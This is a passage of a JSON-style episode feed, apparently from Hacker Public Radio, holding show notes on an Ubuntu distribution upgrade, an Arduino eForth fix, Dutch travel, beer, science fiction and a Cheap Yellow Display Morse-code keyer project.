                                                              \n Sintel (code-named Project Durian during production) is a 2010\n animated fantasy short film. It was the third Blender \"open\n movie\". It was produced by Ton Roosendaal, chairman of the Blender\n Foundation, written by Esther Wouda, directed by Colin Levy, at\n the time an artist at Pixar and art direction by David Revoy, who\n is known for Pepper&Carrot, a free and open source webcomic\n series.[3] It was made at the Blender Institute, part of the\n Blender Foundation. The plot follows the character, Sintel, who is\n tracking down her pet Scales, a dragon. \n https://en.wikipedia.org/wiki/Sintel\n
                                                              \n

                                                              \n Dragon Ball

                                                              \n
                                                              \n Dragon Ball (Japanese: ドラゴンボール, Hepburn: Doragon Bōru) is a\n Japanese media franchise created by Akira Toriyama. The initial\n manga, written and illustrated by Toriyama, was serialized in\n Weekly Shōnen Jump from 1984 to 1995, with the 519 individual\n chapters collected in 42 tankōbon volumes by its publisher\n Shueisha. Dragon Ball was originally inspired by the classical\n 16th-century Chinese novel Journey to the West, combined with\n elements of Hong Kong martial arts films. Dragon Ball characters\n also use a variety of East Asian martial arts styles, including\n karate[1][2][3] and Wing Chun (kung fu).[2][3][4] The series\n follows the adventures of protagonist Son Goku from his childhood\n through adulthood as he trains in martial arts. He spends his\n childhood far from civilization until he meets a teenage girl\n named Bulma, who encourages him to join her quest in exploring the\n world in search of the seven orbs known as the Dragon Balls, which\n summon a wish-granting dragon when gathered. Along his journey,\n Goku makes several other friends, becomes a family man, discovers\n his alien heritage, and battles a wide variety of villains, many\n of whom also seek the Dragon Balls. \n https://en.wikipedia.org/wiki/Dragon_Ball\n
                                                              \n

                                                              \n Links

                                                              \n \n","hostid":453,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Framasoft,Inkscape,Krita,Blender,Spring,Cosmos Laundromat,Tears of Steel,Sintel,Pepper and Carrot ","version":0,"downloads":0,"valid":1}, {"id":4492,"date":"2025-10-21","title":"How to do a distribution upgrade of an Ubuntu LTS on a Digital Ocean droplet","duration":352,"summary":"Rho`n upgrades his Ubuntu 20.04 LTS Digital Ocean droplet to 22.04 LTS","notes":"\n

                                                              \nDigital Ocean maintains its own version of the Ubuntu core packages which are hosted in 

                                                              \n

                                                              \nit's own repositories. To upgrade from one LTS to the next the do-release-upgrade program 

                                                              \n

                                                              \nmust know to use third party repositories during the upgrade process.

                                                              \n

                                                              \n
                                                              \n

                                                              \n
                                                              \nRELEASE_UPGRADER_ALLOW_THIRD_PARTY=1 do-release-upgrade\n
                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nMoving data from a previous version of Postgres to the latest. In this case, the 

                                                              \n

                                                              \nobsolete Postgres v12 to the default Postgres v14 on Ubuntu 22.04 LTS.

                                                              \n

                                                              \n
                                                              \n

                                                              \n
                                                              \n pg_dropcluster --stop 14 main\n pg_upgradecluster -v 14 12 main\n
                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nFixing NextCloud after the upgrade.

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThe version of PHP upgraded from v7.4 to v8.1. The old versions of the Apache2 PHP modules must be disabled and the new versions enabled.

                                                              \n

                                                              \n
                                                              \n

                                                              \n
                                                              \na2dismod php7.4\na2enmod php8.1\napt install php8.1-pgsql\napt install php8.1-gd\n
                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \nReferences:

                                                              \n\n

                                                              \n
                                                              \n

                                                              \n\n\n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ubuntu, upgrades, nextcloud, postgres","version":0,"downloads":0,"valid":1}, {"id":4493,"date":"2025-10-22","title":"HPR Beer Garden 4 - Weissbier","duration":1699,"summary":"Kevie and Dave talk about Weissbier.","notes":"\n

                                                              \nDave and Kevie talk about the German Weissbier with Dave sampling\nFranziskaner Hefe-Weissbier Naturtrüb\nand Kevie opting for the \nErdinger Weissbier\n.

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \nConnect with the guys on Untappd:

                                                              \n\n

                                                              \n
                                                              \n

                                                              \n

                                                              \nThe intro sounds for the show are used from:

                                                              \n\n

                                                              \n

                                                              \n\n\n","hostid":296,"series":14,"explicit":0,"license":"CC-BY-SA","tags":"beer beergarden","version":0,"downloads":0,"valid":1}, {"id":4494,"date":"2025-10-23","title":"Exploring FUTO Keyboard","duration":972,"summary":"I install FUTO from zero and explain why I prefer him","notes":"\n

                                                              \n I formatted my Samsung Galaxy after updating to Android 16. Now I\n install my keyboard of choice and talk on HPR while making the\n initial configuration as I prefer, with focus on the topics:

                                                              \n
                                                                \n
                                                              • Why I prefer FK (pleasant ux and interface, good dose of\n personalization, offline)
                                                              • \n
                                                              • Select all, copy and paste directly from the keyboard (long\n press A, C and V, respectively)
                                                              • \n
                                                              • downsides (I think I didn't \n say them on the show): not the best swipe-to-type,\n voice-to-text and prediction of correction, specially if not in\n English
                                                              • \n
                                                              ","hostid":441,"series":98,"explicit":0,"license":"CC-BY-SA","tags":"Keyboard for Android, Typing","version":0,"downloads":0,"valid":1}, {"id":4495,"date":"2025-10-24","title":"An introduction to Taskwarrior","duration":264,"summary":"Going over what makes taskwarrior unique and why I use it","notes":"\n

                                                              \n This is more going over what I like about taskwarrior rather than\n a comprehensive guide, please check https://taskwarrior.org/docs/start/\n for a more comprehensive quickstart.
                                                              \n

                                                              \n

                                                              \n Taskwarrior is Free and Open Source Software that manages your\n TODO list from the command line.
                                                              \n
                                                              It is flexible, fast, and unobtrusive.\n It does its job then gets out of your way.

                                                              \n


                                                              \n

                                                              ","hostid":454,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, taskwarrior, foss, firstshow","version":0,"downloads":0,"valid":1}, {"id":4496,"date":"2025-10-27","title":"Stroopwafel","duration":1736,"summary":"Lee, Elsbeth and Ken Fallon meet in the Utrecht province in the Netherlands","notes":"\n

                                                              \n Utrecht is a province (and city) in the Netherlands - https://en.wikipedia.org/wiki/Utrecht

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n Amersfoort is a medieval town - https://en.wikipedia.org/wiki/Amersfoort

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n Stroopwafel is a Dutch sweet treat - https://en.wikipedia.org/wiki/Stroopwafel

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n Kamp Amersfoort was a concentration camp, now a museum - https://kampamersfoort.nl

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n Mondriaan House in Amersfoorte shows some of the artists work,\n talks about his life and presents modern interpretations inspired\n by him - https://www.mondriaanhuis.nl/en/

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n Speelklok Museum in Utrecht is all about mechanical music - https://www.museumspeelklok.nl

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n International Road Signs - https://en.wikipedia.org/wiki/Traffic_signs_by_country

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n Wintergartan makes videos about his mechanical instruments - https://youtube.com/@wintergatan?si=fFTMWz-8pG8Bv1y-

                                                              ","hostid":403,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"netherlands, art, history, road travel","version":0,"downloads":0,"valid":1}, {"id":4497,"date":"2025-10-28","title":"fixing 328eforth","duration":1125,"summary":"a summary of making 328eforth useful","notes":"\n

                                                              Table of Contents

                                                              \n

                                                              ─────────────────

                                                              \n
                                                                \n
                                                              1. \n

                                                                greetings

                                                                \n
                                                              2. \n
                                                              3. \n

                                                                links to software

                                                                \n
                                                              4. \n
                                                              5. \n

                                                                hardware

                                                                \n
                                                              6. \n
                                                              7. \n

                                                                install

                                                                \n
                                                              8. \n
                                                              9. \n

                                                                check it works

                                                                \n
                                                              10. \n
                                                              11. \n

                                                                now the fix

                                                                \n
                                                              12. \n
                                                              13. \n

                                                                outro

                                                                \n
                                                              14. \n
                                                              \n

                                                              0 greetings

                                                              \n

                                                              ═══════════════════

                                                              \n

                                                              continuation from episode 4388, review of the book the Arduino\n controlled by eforth by dr chen-hanson ting

                                                              \n

                                                              1 links to software

                                                              \n

                                                              ═══════════════════

                                                              \n

                                                              https://github.com/PeterForth/DR-TING-OFFETE-SVFIG-MIRROR,\n 328eforth source code

                                                              \n

                                                              https://github.com/Ro5bert/avra,\n opensource assembler

                                                              \n

                                                              https://www.engbedded.com/fusecalc/,\n configuration fuse calculator

                                                              \n

                                                              https://github.com/avrdudes/avrdude,\n flashing software

                                                              \n

                                                              https://github.com/oh2aun/flashforth,\n terminal shell programs

                                                              \n

                                                              2 hardware

                                                              \n

                                                              ══════════

                                                              \n

                                                              programmer, avrisp2 recommended, build your own

                                                              \n

                                                              https://www.hackerpublicradio.org/eps/hpr2799/index.html

                                                              \n

                                                              Arduino UNO R3, Arduino Nano

                                                              \n

                                                              3 install

                                                              \n

                                                              ═════════

                                                              \n

                                                              download 2159_328eforth.zip unzip that file then cd into it

                                                              \n

                                                              build assembler file, avra 328eforth220.asm

                                                              \n

                                                              50+ warnings that avra generates because it pads out the words

                                                              \n

                                                              with null characters in order to get the write size for each\n word

                                                              \n

                                                              an over view of whats going on in the build process

                                                              \n

                                                              flashing process from the book,

                                                              \n

                                                              avrdude -p m328p -c avrisp2 -e -U flash:w:328eforth220.hex:i -U\n lfuse:w:0xff:m -U hfuse:w:0xd8:m -U efuse:w:0xfd:m

                                                              \n

                                                              what i use,

                                                              \n

                                                              avrdude -p m328p -c avrisp2 -e -U flash:w:328eforth220.hex:i -U\n lfuse:w:0xe2:m -U hfuse:w:0xd8:m -U efuse:w:0xfd:m

                                                              \n

                                                              4 check it works

                                                              \n

                                                              ════════════════

                                                              \n

                                                              open terminal and plug in board, or reset board you should see,

                                                              \n

                                                              328eforth v2.20 if you hit the return key you'll get an ok

                                                              \n

                                                              5 now the fix

                                                              \n

                                                              ═════════════

                                                              \n

                                                              clues from turnkey

                                                              \n

                                                              flush+

                                                              \n

                                                              : flush+ ( -- )

                                                              \n

                                                              context @ context i!

                                                              \n

                                                              cp @ cp i!

                                                              \n

                                                              dp @ dp i!

                                                              \n

                                                              last @ last i!

                                                              \n

                                                              flush

                                                              \n

                                                              ;

                                                              \n

                                                              \\ flush+ at the terminal prompt saves words,updates the memory\n pointers

                                                              \n

                                                              \\ saving words across reboots

                                                              \n

                                                              now you can save newly defined words across reboots

                                                              \n

                                                              6 outro

                                                              \n

                                                              ═══════

                                                              \n

                                                              You're currently going through a difficult transition period\n called, \"Life.\"

                                                              ","hostid":326,"series":91,"explicit":0,"license":"CC-BY-SA","tags":"forth, arduino, slackware, emacs","version":0,"downloads":0,"valid":1}, {"id":4498,"date":"2025-10-29","title":"Living the Tux Life Episode 1","duration":329,"summary":"A mini podcast series on running Linux as daily driver.","notes":"\n

                                                              \n This a mini podcast series to track Al running Linux as daily\n driver.

                                                              \n

                                                              \n Things I mention in the show:

                                                              \n

                                                              \n \n Dual Boot Diaries\n

                                                              \n
                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n
                                                              \n

                                                              ","hostid":290,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux","version":0,"downloads":0,"valid":1}, {"id":4499,"date":"2025-10-30","title":"Greg Farough and Zoë Kooyman of the FSF interview Librephone lead developer Rob Savoye","duration":1357,"summary":"Greg and Zoë of the FSF interview Librephone developer Rob Savoye","notes":"\n

                                                              Greg\n Farough and Zoë Kooyman\n of the FSF interview Librephone\n lead developer Rob\n Savoye (DejaGNU, Gnash, GCC) on his work with the new\n project to liberate nonfree binary blobs on mobile phones.

                                                              \n

                                                              Links

                                                              \n ","hostid":30,"series":0,"explicit":0,"license":"CC-BY","tags":"gnu,fsf,free software","version":0,"downloads":0,"valid":1}, {"id":4500,"date":"2025-10-31","title":"Arthur C. Clarke: 2001 and Sequels","duration":1136,"summary":"A look at Arthur C. Clarke's most famous series.","notes":"\n

                                                              \n This brings us to a look at Arthur C. Clarke's most famous series,\n 2001: A Space Odyssey and its sequels.

                                                              \n

                                                              \n Links:

                                                              \n \n

                                                              \n
                                                              \n

                                                              ","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Arthur C. Clarke, 2001, space odyssey","version":0,"downloads":0,"valid":1}, {"id":4501,"date":"2025-11-03","title":"HPR Community News for October 2025","duration":0,"summary":"HPR Volunteers talk about shows released and comments posted in October 2025","notes":"","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4502,"date":"2025-11-04","title":"Cheap Yellow Display Project Part 3: Reverse beacon network ","duration":472,"summary":"Learn about the Reverse Beacon Network and how it might be used with the Cheap Yellow Display","notes":"\n

                                                              \n\nHello, again. This is Trey. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWelcome to part 3 in my Cheap Yellow Display (CYD) Project series. You can find Part 1 in episode 4472 and Part 2 in episode 4488. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWe previously left our handy hero searching for a solution to an amateur radio signal propagation dilemma, while he is trying to become proficient with Morse code. The CYD technology is simmering in the back of his brain – an answer in search of a problem.    \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nHah! I love trying to create the feel of a vintage radio or television series with the intro and outro for these episodes. But I am by no means the hero. I am simply Trey – a grumpy old man and tinkerer. Instead, the real hero in this episode is Keith \n\nVE3SVQ-THE SHAKY KEY\n\non YouTube. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nSo.... Let's see. Where were we? Oh yes. I have been trying to learn Morse code \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n-.-. --.- -.-. --.- (CQ CQ) \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThat was me, tapping out \"CQ CQ\" in Morse code using the practice set I keep on my desk. This consists of a set of code paddles, connected to an Arduino Nano, which I built several years ago based what I learned watching \n\nCode Practice Oscillator; Aka: The Three Arduinos\n\non Jmhrvy1947's YouTube Channel, and based on the code from \n\nhis GitHub\n\n \n\nhttps://github.com/jmharvey1/ArduinoCPO\n\n. I did need to make modifications, both to support the Ardunio Nano on which I chose to run it, and for my own sanity, as the way that I learned to write code for Ardunio is very different. I focus on readability and flexibility. You can see these changes on \n\nmy own GitHub\n\n(\n\nhttps://github.com/jttrey3/PracticeOscillator/blob/main/PracticeOscillator.ino\n\n) \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nAnyway, I have been studying. I have been watching videos. I have been practicing. I might actually be learning some of this stuff. If you are interested in more details about the resources I am using, leave a comment for this episode, or drop me an email using the address in my profile, and I may record an episode about it. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThe result is that I have been learning. But also, the google and YouTube algorithms have been learning about me. And they have started to feed me more videos about Morse code. It is both helpful, and super creepy at the same time. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nSo one day, when I opened YouTube, a title in my feed caught my eye. \"\n\nNEW CW OP USE THE REVERSE BEACON NETWORK TO IMPROVE YOUR CODE\n\n\". \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nI said to myself, \"Self, this could be interesting.\" I watched Keith's video and learned about the \n\nReverse Beacon Network\n\n.  According to their website, \"The Reverse Beacon Network (RBN) is a revolutionary new idea. Instead of beacons actively transmitting signals, the RBN is a network of stations listening to the bands and reporting what stations they hear, when and how well.\" \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nLet's pause for a second and discuss amateur radio beacons. These are stations which repeatedly broadcast their identity on dedicated frequencies. Other operators around the world, who hear a beacon, can evaluate the signal propagation between their station and the beacon location.  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThe RBN is just the opposite. Here, the station operator can transmit a test signal with their call sign, using CW or other digital modes. Then, they can look at the RBN website to see which RBN listening stations received their transmission, and even get a signal report. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nOn the \n\nmain page\n\nof the RBN website, one can observe a world map with paths showing where signals were received, and where they originated based on the registered grid square of the originating call sign. The table displayed below the map reveals the sending and receiving call signs, their distance apart (In miles or kilometers), the frequency, the mode, the type of transmission, the signal to noise ratio, the speed of the transmission, and the time/date using UTC. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThis information is collected by a network of volunteer reverse beacon receiving stations all over the world, which monitor the various radio bands, decode transmissions of CW (Morse code), RTTY (Radio Teletype), and PSK31 or PSK63 (Digital modes using Phase Shift Keying). These receiving stations report what they receive as well as the signal strength back into the Reverse Beacon Network to be recorded and published over the internet. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nDave Casler discussed the RBN back in 2016 on his YouTube video \n\nThe Ham Radio Reverse Beacon Network, AD#32\n\n. This gives very good detail of how the network works. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThis sounds like exactly what I have been looking for. All I need to do is come up with a way to reliably, accurately, and consistently transmit \"CQ CQ CQ TEST DE\" followed by my call sign three times at a constant 20 words per minute (WPM). If I can do this a few times, I can then check the RBN to see where I was received. By including the \"TEST\" string, recipients know that I do not wish to start a conversation. I can get accurate reporting of where my signal is going and how strong it is. \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nBut remember that my morse code skills are still inadequate. And my radios do not have \"Keyer memories\" like those which can be found in higher end transceivers like the Icom 7300, enabling programmed messages to be sent at the touch of a button.  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nBut there is a fairly inexpensive solution to this problem. One which has been nagging at the back of my mind. Maybe, I could use the Cheap Yellow Display to effectively add \"Keyer memory\" to any of my radios by simply plugging it in to the code key input port. These stored messages could be transmitted by simply touching their specific icon on the touch screen. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nNow we have a plan. But how will we do it? What else will we need to learn? Will it even work? \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nTune in to the next episode in the series to find out the answers to some of these questions and more! \n

                                                              \n\n\n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CYD, electronics, ESP32, Adruino, Cheap Yellow Display, morse code, cw, amateur radio, ham radio","version":0,"downloads":0,"valid":1}, {"id":4510,"date":"2025-11-14","title":"Playing Civilization V, Part 5","duration":745,"summary":"We continue our look at the game mechanics of Civlization V.","notes":"\n

                                                              \n In our next look at the game mechanics for Civilization V we\n examine the topic of Wonders and related Special Projects, and\n consider how this should affect your strategy.

                                                              \n

                                                              \n Links:

                                                              \n ","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization V, Wonders","version":0,"downloads":0,"valid":1}, {"id":4517,"date":"2025-11-25","title":"Cheap Yellow Display Project Part 4: The hardware ","duration":679,"summary":"Explanation of the hardware which will be used for this project","notes":"\n

                                                              \n\nHello, again. This is Trey. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWelcome to part 4 in my Cheap Yellow Display (CYD) Project series. If you have hung in there with me so far on this journey, thank you. If you have missed earlier episodes, you can find them on my \n\nHPR profile page\n\n\n\nhttps://www.hackerpublicradio.org/correspondents/0394.html\n\n  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nIf you have questions, comments, concerns, or other feedback, please leave an episode comment, or drop me an email (Using the address in my profile). Even better, you could record and upload your own show which shares your viewpoint or expertise. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nTo review, I finally have an actual project to build using the CYD. It is a portable, programmable morse code \"Keyer memory\" which can be connected to any of my HF transceiver radios by simply plugging it in to the code key input port. Then I could transmit stored messages by simply touching their specific icon on the touch screen. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nSo, now I purchased a pair of CYDs. Each arrived in an anti-static zipper bag with a USB C cable, a 6 inch long 4 pin PB1.25mm to Dupont 2.54mm cable harness, a plastic case holding the CYD itself and a small plastic stylus. There are pictures in the show notes. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\nDepending on how many IO connections I may need, and how I plan to power this, I am probably going to need more 4 pin PB1.25mm wired connectors. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nYou can see a description of the various features and connectors on \n\nRandomNerdTutorials\n\nwriteup about this board (\n\nhttps://randomnerdtutorials.com/cheap-yellow-display-esp32-2432s028r/\n\n). The only difference I can see between this description and what I received is that mine have both a MicroUSB and USB C port.   \n\n \n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\n\n\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nOf course, first thing, I had to plug it in and see what happens. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n
                                                              \n

                                                              \n

                                                              \n\nIt appears to be running some kind of simulation of a web site. The backlit display looks alright. It is not super high resolution, but for the price, it will suite my needs. The touch screen is responsive, but it is pressure sensitive and works best using the provided stylus or a fingernail and not your finger tip. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nSo, I have the CYD. What other hardware do I need? \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nI need to address how one of these will actually connect to my radios. Modern amateur radio transceivers which support continuous wave (CW) transmission (Which is another name for Morse code) generally can use one of two different pieces of hardware for input. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThe first is what we call a straight key. Below is a photo of the one I own. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThis is a classic, old fashioned telegraph style code key. It is designed to quickly and easily be pressed down to close a circuit and when released the circuit is opened, effectively making it a normally open push button switch. To send a dot, the operator holds down the key for a short period of time, then releases it. To send a dash, the operator holds down the key for a longer period of time, before releasing it. (We will discuss actual timing specifications for morse code in a future podcast) Connectivity for the switch has been standardized to use a 3.5 mm mono male phone connector which has only sleeve and tip connections.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThe second option is a paddle style electronic keyer. There are many styles of these, and I am including a picture of the one I use, which once belonged to a close friend of mine who is now silent key. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nIn general, the paddle is two separate normally open switches. In the most common configuration, if an operator presses and releases the paddle on the right, a dash is sent. If the paddle on the right is held, a continuous series of dashes will be sent until that paddle is released. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThe left paddle works similarly. If it is pressed and released, a single dot is sent. If it is pressed and held, a series of dots is sent until it is released. The function of these paddles can be swapped from left to right using the radio configuration. There is additional functionality which can be configured in some radios for when both paddles are pressed simultaneously, but I am not going to describe those here.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThe paddle generally uses a 3.5mm stereo male phone connector with the sleeve being common. The tip of the phone connector is wired to the left paddle and ring of the connector is wired to the right paddle. Most modern radios have a built in keyer which can be configured for a paddle and will automatically transmit the dots or dashes at whichever speed is configured based on the paddle pressed. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nYou can see this phone connector illustrated on \n\nWikipedia's phone connector page.\n\n. \n\nhttps://en.m.wikipedia.org/wiki/Phone_connector_(audio\n\n)  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nYou can learn more about all the various devices which can be used for sending morse and how they function at \n\nMorse Code World\n\n. \n\nhttps://morsecode.world/keys.html\n\n  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nIdeally, controlling all the morse code timing within the CYD would be best. That way, it could be connected as a straight key and any keyer settings already configured within the radio shouldn't matter. However, If I wish to also be able to manually send morse code myself using my paddles, without disconnecting the CYD and reconfiguring the radio, that could be problematic. I may need to factor in the possibility of connecting my paddle to the CYD and then building in code to respond to inputs from the paddles.  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nAs I mentioned in a previous episode, I have an Arduino Nano on my desk as a practice oscillator for my paddles. I may be able to reuse some of that code on the CYD. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nSo, if I want the CYD to appear to the radio like a straight key, I will need it to be able to control a switch quickly and accurately. But I also want the CYD and the radio to be electrically isolated from each other. This calls for a relay. I was able to find and order some inexpensive relay modules which work nicely with Arduino and ESP32.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\n\n\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThese allow connectivity to 5v power and to one of the CYD's GPIO pins. These feed an optocoupler circuit, which, in-turn, drives the coil of the relay. This provides inductive kickback protection to the CYD and can drive a coil which would require more current than the GPIO can provide.   \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nInductive kickback rabbit trail: An inductor is simply a coil of wire. Direct current flowing through any wire generates a magnetic field. Within the inductor, because the wire is coiled, the magnetic field builds from each pass of the wire in the coil. If you include an iron core, it sustains the magnetic field even better. This is the basis for an electro magnet. A relay is simply a momentary contact switch controlled by an electromagnet.\n\n \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nOne unique property of an inductor is that, current wants to keep flowing in the direction it was applied. To be specific, when the current source is removed, the magnetic field still exists for a while, and it effectively \"generates\" an electric current within the coil, in the same direction as the one which initially created the magnetic field to begin with. If it has a path to flow, this current will create another weaker magnetic field, which creates its own electric current, in a diminishing loop. If the circuit which drives the coil of a direct current relay is not ready for this continued push of current, damage can be done. Many times this is countered by wiring a \"flyback diode\" in parallel with the coil and in the opposite direction in which current will be applied. This way, when the current source is stopped, the diode gives a path for the inductive kickback current to safely flow while the magnetic field dissipates. Explained in greater detail at \n\nhttps://inductive-kickback.com/2019/04/inductive-kickback-made-simple-to-grasp-easy-to-handle/\n\n  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nThe switch side of the relay is a single pole double throw (SPDT) and makes connections available for common, normally closed (NC), and normally open (NO). It will be easy to connect the common and NO connections to a 3.5mm mono male connector so that it may be plugged into the \"key\" port on any radio transmitter. I will need to do some testing on the speed of the relay, but I think it will work just fine. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nOnce I start writing some code for the CYD, I will be able to connect and test the relay. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWell, this is a good place to end this episode, and it is one of the longest in this series so far.  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nIn the next episode, we will begin to look at how we design the user interface for our program, something I do not know anything about (yet). \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nStay tuned weekdays for additional exciting episodes of Hacker Public Radio, and, at some point, the next episode in this series. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nIf you like what you have heard, please leave an episode comment, or drop me an email (Using the address in my profile). If you have more than a single sentence to contribute on the subject, I encourage you to record an episode with your thoughts and expertise. If you dislike what you have heard, you are encouraged even more strongly to record and upload your own show which shares your viewpoint or opinion. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nUntil next time. \n

                                                              \n\n\n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CYD, electronics, ESP32, Adruino, Cheap Yellow Display, morse code, cw, amateur radio, ham radio","version":0,"downloads":0,"valid":1}, {"id":4520,"date":"2025-11-28","title":"Arthur C. Clarke: Rama and Sequels","duration":716,"summary":"A look at Arthur C. Clarke's other famous series.","notes":"\n

                                                              \n This brings us to a look at Arthur C. Clarke's other famous\n series, Rendevous with Rama and its sequels. This is frequently\n refered to simply as the Rama series.

                                                              \n

                                                              \n Links:

                                                              \n ","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Arthur C. Clarke, Rama","version":0,"downloads":0,"valid":1}, {"id":4521,"date":"2025-12-01","title":"HPR Community News for November 2025","duration":0,"summary":"HPR Volunteers talk about shows released and comments posted in November 2025","notes":"","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4530,"date":"2025-12-12","title":"Playing Civilization V, Part 6","duration":759,"summary":"We continue our look at the game mechanics of Civilization V.","notes":"\n

                                                              \n In our next look at the game mechanics for Civilization V we\n examine the topic of War and Combat. This is a complex topic, and\n we are just hitting the high points here, but we also provide a\n link to the War Academy for furhter study.

                                                              \n

                                                              \n Links:

                                                              \n ","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization V, War, Combat","version":0,"downloads":0,"valid":1}, {"id":4532,"date":"2025-12-16","title":"Cheap Yellow Display Project Part 5: Graphical User Interface ","duration":791,"summary":"Trey experiments with Squareline Studio to build a GUI for this project","notes":"\n

                                                              \n\nHello, again. This is Trey. \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nWelcome to part 5 in my Cheap Yellow Display (CYD) Project series. If you are still listening to me ramble about this project, thank you. If you wish to catch up on earlier episodes, you can find them on my \n\nHPR profile page\n\n\n\nhttps://www.hackerpublicradio.org/correspondents/0394.html\n\n  \n

                                                              \n

                                                              \n\n \n

                                                              \n

                                                              \n\nTo review, My project is to build a portable morse code \"Keyer memory\" which can be connected to any of my HF transceiver radios by simply plugging it in to the code key input port. Then I could transmit stored messages by simply touching their specific icon on the touch screen. I also want to be able to program each macro individually from the graphical user interface (GUI). \n

                                                              \n

                                                              \n\n \n

                                                              \n

